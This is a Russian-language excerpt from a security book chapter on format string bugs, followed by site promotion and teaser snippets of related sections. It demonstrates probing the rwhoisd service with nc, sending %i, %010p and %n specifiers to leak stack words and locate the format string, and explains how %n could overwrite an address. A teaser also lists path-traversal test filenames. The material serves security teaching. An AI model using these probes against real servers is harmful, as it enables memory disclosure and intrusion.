Тестирование программ способом случайной форматирующей строки
Тестирование программ способом случайной форматирующей строки
Поместив в исходный текст программы потенциально уязвимую форматирующую строку, продемонстрируем способы ее использования злоумышленником при помощи входных данных программы и изучим реакцию сервера на них.
В большинстве случаев можно создать такие условия работы программы, когда о наличии в программе уязвимости форматирующей строки можно будет судить по ее поведению. Если уязвимая программа выводит отформатированную строку, то наличие в ней уязвимости форматирующей строки очевидно. При отсутствии вывода о присутствии в программе уязвимости форматирующей строки можно судить по реакции программы на различные спецификации форматов.
Если при вводе входных данных со спецификациями преобразования %n%n процесс аварийно завершается, то, вероятнее всего, это происходит из-за нарушения доступа к памяти при попытке записи по неверным адресам памяти, прочитанным из стека. Передав программе, в которой не предусмотрен вывод отформатированной строки, через ее входные данные спецификации форматов %n%n, можно определить, уязвима она или нет. Если процесс аварийно завершается, не возвращает управления или неожиданно завершается, то вполне вероятно, что причиной этого является уязвимость форматирующей строки.
В рассматриваемом примере сервер возвращает клиенту сообщение об ошибке в виде отформатированной строки. Это облегчает действия злоумышленника, который ищет способ проникнуть на хост. В следующем примере приведен образец вызова программы rwhoisd, которая демонстрирует ошибку в форматирующей строке:
[dma@victim server]$ nc localhost 4321
%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc.
V-1.5.7.1)
-soa am_%i_vulnerable
%error 340 Invalid Authority Area: am_-1073743563_vulnerableВ этом примере причиной вывода сервером отрицательного целого числа -1073743563 является то, что в передаваемой сервису строке содержится спецификация формата %i, на место которой в отформатированную строку записывается содержимое области памяти из стека в формате целого числа со знаком. Функция printf() выводит отрицательное число после обработки содержимого области стека длиной 4 байта, в котором, как она предполагает, хранится целое число со знаком. Тем самым подтверждается наличие уязвимости форматирующей строки в программе rwhoisd.
Уязвимость форматирующей строки можно определить, анализируя исходный текст программы и ее поведение. После этого можно решить, как употребить найденную уязвимость. Уязвимостью форматирующей строки может воспользоваться удаленный сетевой клиент. Для этого аутентификация клиента не нужна, и вполне возможно, что этим сможет воспользоваться злоумышленник, чтобы получить доступ к главному хосту.
В аналогичных случаях, когда программа выводит отформатированную строку, злоумышленник может прочитать содержимое стека памяти и успешно воспользоваться его содержимым. Слова памяти могут быть прочитаны следующим способом:[dma@victim server]$ nc localhost 4321
%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc.
V-1.5.7.1)
-soa %010p
%error 340 Invalid Authority Area: 0xbffff935
-soa %010p%010p
%error 340 Invalid Authority Area: 0xbffff9350x0807fa80
-soa %010p%010p%010p
%error 340 Invalid Authority Area:
0xbffff9350x0807fa800x00000001
-soa %010p%010p%010p%010p
%error 340 Invalid Authority Area:
0xbffff9350x0807fa800x000000010x08081cd8В этом примере клиент восстановил одно, два, три и четыре слова из стека. Программа отформатировала слова таким образом, чтобы их можно было использовать для дальнейшей автоматической обработки. Хорошо написанная программа атаки может воспользоваться приведенной в примере отформатированной строкой для восстановления структуры стека процесса, выполняющегося на сервере. Программа атаки может читать данные из стека до тех пор, пока не найдет в стеке место хранения форматирующей строки, а затем автоматически вычислить в ней нужную программе позицию спецификации преобразования %n. Посмотрите на следующий пример:
%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc.
V-1.5.7.1)
-soa %010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p
%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p
%010p%c%c%c%c%c
%error 340 Invalid Authority Area: 0xbffff9350x0807fa800x000
000010x0807fc300xbffff8f40x0804f21e0xbffff9350xbffff9350xbff
ff90c0x0804a6a30xbffff935(nil)0xbffff9300xbffffb640xbffff920
0x0804eca10xbffff9300xbffff9300x000000040xbffffb300x0804ef4e
0xbffff9300x000000050x616f732d0x31302500 010%pВ рассмотренном примере клиент использует функцию printf() для поиска нужных ему переменных в той части стека, где хранится форматирующая строка. С символов 010%p (они выделены жирным шрифтом) начинается строка клиента, которая содержит обрабатываемые спецификации преобразования. Если бы злоумышленник вставил в начало найденной форматирующей строки клиента адрес и воспользовался спецификацией преобразования %n вместо %c, то адрес в форматирующей строке был переписан.
Более 800 000 книг и аудиокниг! 📚
Получи 2 месяца Литрес Подписки в подарок и наслаждайся неограниченным чтением
ПОЛУЧИТЬ ПОДАРОКДанный текст является ознакомительным фрагментом.
Читайте также
15.6. Тестирование программ
15.6. Тестирование программ Разработка программного обеспечения содержит элементы и искусства, и науки, это одна сторона того, что делает ее такой восхищающей и стимулирующей профессией. Данный раздел вводит в тему тестирования программного обеспечения, которая также
Тестирование
Тестирование Даже полностью закончив работу над сайтом, не спешите загружать его на веб-сервер. При создании своего детища вы наверняка сделали множество ошибок той или иной степени важности, поэтому перед представлением сайта широкой публике обязательно его тщательно
Как можно вызвать удаленного помощника общепринятым способом
Как можно вызвать удаленного помощника общепринятым способом По сути дела, удаленный помощник — это самостоятельная программа, а вызов его из Windows Messenger — это всего лишь один из способов вызова. Общепринятым способом обращения к удаленному помощнику является
Возможность заплатить сразу любым удобным способом
Возможность заплатить сразу любым удобным способом Клиенты интернет-магазинов принимают решение о покупке эмоционально. Поэтому если они захотели прямо сейчас купить ваш товар, не препятствуйте этому.Даже если у вас отличный товар, уникальная реклама и классный сервис,
Управление способом запуска SQL Server
Управление способом запуска SQL Server После установки SQL Server операционная система автоматически запускает его при включении компьютера. С помощью элемента панели управления Services (Службы) можно управлять состоянием SQL Server. Для просмотра текущего состояния SQL Server и управления
Нагрузочное тестирование, продолжительное тестирование и тестирование стабильности
Нагрузочное тестирование, продолжительное тестирование и тестирование стабильности Команда тестирования создает и выполняет продолжительные тесты на физическом оборудовании в лаборатории. Не забыть про внедрение неисправностей (fault
Пример 9-24. Выбор случайной карты из колоды
Пример 9-24. Выбор случайной карты из колоды #!/bin/bash# pick-card.sh# Пример выбора случайного элемента массива.# Выбор случайной карты из колоды.Suites="ТрефБубейЧервейПик"Denominations="2345678910ВалетДамаКорольТуз"suite=($Suites) # Инициализация массивов.denomination=($Denominations)num_suites=${#suite[*]} #
Тестирование
Тестирование Самый простой способ найти ошибки типа «это не файл» и «проход по каталогам» – подать на вход приложения случайные имена файлов и посмотреть, как оно будет реагировать. В частности, попробуйте такие имена:? AUX? CON? LPT1? PRN.TXT?....AUX? /dev/null? /dev/random? /dev/urandom? ../../dev/random?
Тестирование
Тестирование Методы, применяемые для тестирования приложения на наличие этой ошибки, подходят и для тестирования любого сетевого приложения. Прежде всего нужно создать некорректных клиента и сервера. Можно одним махом сделать то и другое. Для этого следует вставить
Тестирование
Тестирование Обнаружить гонку во время тестирования трудно, но существуют методики по искоренению этого греха. Одна из самых простых – прогонять тесты на быстрой многопроцессорной машине. Если вы наблюдаете отказы, которые не удается воспроизвести на однопроцессорной
Тестирование
Тестирование Как и в большинстве других случаев применения криптографии к защите сети, довольно трудно доказать корректность системы, тестируя ее как черный ящик. Гораздо проще обнаружить такого рода проблемы в ходе анализа
Тестирование
Тестирование В некоторых случаях к генерируемым случайным числам можно применить статистические тесты, но делать это с помощью автоматизированных средств на этапе контроля качества не очень практично, поскольку оценивать результаты работы генератора случайных чисел
Тестирование
Тестирование В основе науки о практичности лежит тестирование. К сожалению, фирмы–разработчики такому тестированию не уделяют много внимания. При тестировании практичности пользователи обычно работают парами (метод обсуждения вслух). Они самостоятельно исследуют
Глава 9 Ошибки форматирующей строки
Глава 9 Ошибки форматирующей строки В этой главе обсуждаются следующие темы: • Уязвимость форматирующей строки • Пример уязвимой программы • Тестирование программ способом случайной форматирующей строки • Программа атаки с использованием форматирующей строки ·
Уязвимость форматирующей строки
Уязвимость форматирующей строки Для понимания сути уязвимости форматирующей строки необходимо иметь четкие представления о работе функции printf(). Часто программистам требуется сформировать строку из нескольких переменных разного типа во время работы программы.
Программа атаки с использованием форматирующей строки
Программа атаки с использованием форматирующей строки Рассмотрим пример программы атаки на основе форматирующей строки. В случае программ, аналогичных программе rwhoisd, перед злоумышленником стоит задача выполнить злонамеренный программный код, который должен